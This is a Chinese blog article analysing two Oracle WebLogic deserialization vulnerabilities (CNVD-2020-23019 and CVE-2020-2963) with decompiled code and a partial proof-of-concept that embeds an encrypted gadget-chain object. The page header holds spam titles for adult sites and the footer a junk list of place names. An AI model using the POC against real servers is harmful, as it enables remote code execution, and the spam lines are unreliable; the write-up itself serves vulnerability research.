91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣進行weblogic 反序列化漏洞分析與復現

發布時間:2021-12-27 18:24:32 來源:億速云 閱讀:302 作者:柒染 欄目:網絡管理

本篇文章為大家展示了怎樣進行weblogic 反序列化漏洞分析與復現,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

簡介

這兩個洞應該都是5月更新的補丁,分析時候無意中發現的。看了一下漏洞挺簡單,就是利用有點苛刻

SOAPInvokeState CNVD-2020-23019

diff 補丁,截圖如下 怎樣進行weblogic 反序列化漏洞分析與復現

可以很明顯的看出,將ObjectInputStream更改為FilterInputStream。在weblogic中,FilterInputStream負責檢查反序列化的類種是否存在可以利用的Gadget,而ObjectInputStream不會。并且在類的readObject 方法中,通過T3協議反序列化默認的參數為FilterInputStream,以此來防御反序列化漏洞。

除非類的readObject中亂調用ObjectInputStream,否則是不會產生反序列化漏洞的。

在SOAPInvokeState的readExternal中,我們只要能走入以下的流程即可

if((flags & 1) != 0) {
try {
len = in.readInt();
byte[] bytes = new byte[len];
in.readFully(bytes);
bytes = EncryptionUtil.decrypt(bytes);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in2 = new ObjectInputStream(bais);
this.subject = (AuthenticatedSubject)in2.readObject();
} catch (Exception var13) {
(new NonCatalogLogger("WebServices")).warning("Couldn't completely read SOAPInvokeState object", var13);
}

看一下writeExternal方法,被實例化的類中存在subject,就可以讓readExternal執行上面的反序列化流程

if(this.subject != null) {
ByteArrayOutputStream var12 = new ByteArrayOutputStream();
ObjectOutputStream var13 = new ObjectOutputStream(var12);
var13.writeObject(this.subject);
var13.flush();
byte[] var5 = var12.toByteArray();
var5 = EncryptionUtil.encrypt(var5);
var1.writeInt(var5.length);
var1.write(var5);
}

當然,還下面問題

加密

在EncryptionUtil.encrypt加密時,會根據Kernel.isServer()為true,才會進行加密,否則返回原數據。 因此加密之前需要調用KernelStatus.setIsServer(true)設置狀態為true,或者強行加密。

public static byte[] encrypt(byte[] var0) {
returngetEncryptionService().encryptBytes(var0);
}

weblogic.security.internal.SerializedSystemIni#getExistingEncryptionService中,會讀取SerializedSystemIni.dat作為密鑰,也就是說,需要認證或者配合文件讀取才能利用該漏洞去攻擊weblogic

public static EncryptionService getExistingEncryptionService() {
String var0 = DomainDir.getRootDir();
String var1 = var0 + File.separator + "security"+ File.separator + "SerializedSystemIni.dat";
File var2 = new File(var1);
if(!var2.exists()) {
String var3 = var0 + File.separator + "SerializedSystemIni.dat";
File var4 = new File(var3);
if(!var4.exists()) {
returnnull;
}

var1 = var3;
}

SerializedSystemIni var5 = new SerializedSystemIni(var1);
returngetEncryptionService(var5.getTheSalt(), var5.getTheEncryptedSecretKey(), var5.getTheAESEncryptedSecretKey());

POC

魔改一下 writeExternal為下面的代碼,再反序列化即可

BadAttributeValueExpException exp = null;
try {
exp = cve_2020_2555.getBadAttributeValueExpException();
} catch (Exception e) {
e.printStackTrace();
}
out2.writeObject(exp);
out2.flush();
byte[] bytes = baos.toByteArray();
bytes = EncryptionUtil.encrypt(bytes);
out.writeInt(bytes.length);
out.write(bytes);
}

}

怎樣進行weblogic 反序列化漏洞分析與復現

WlsSSLAdapter CVE-2020-2963

原理一樣,詳見下面的代碼


private Object readEncryptedField(ObjectInputStream in) throws IOException, ClassNotFoundException {
int length = in.readInt();
if(length <= 0) {
returnin.readObject();
} else{
byte[] bytes = new byte[length];
in.readFully(bytes);
bytes = EncryptionUtil.decrypt(bytes);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in2 = new ObjectInputStream(bais);
returnin2.readObject();
}
}

怎樣進行weblogic 反序列化漏洞分析與復現

上述內容就是怎樣進行weblogic 反序列化漏洞分析與復現,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

正安县| 麻城市| 昭苏县| 万年县| 武邑县| 贺州市| 三台县| 海林市| 康定县| 伊通| 阜新| 西盟| 乳源| 庆元县| 通化县| 孟津县| 河西区| 洪江市| 巫山县| 鹰潭市| 松溪县| 乡城县| 新乐市| 九龙县| 庆阳市| 汉阴县| 平安县| 南充市| 克山县| 万宁市| 竹溪县| 五华县| 兴国县| 永清县| 什邡市| 崇阳县| 阿拉善左旗| 伊川县| 侯马市| 涞源县| 靖州|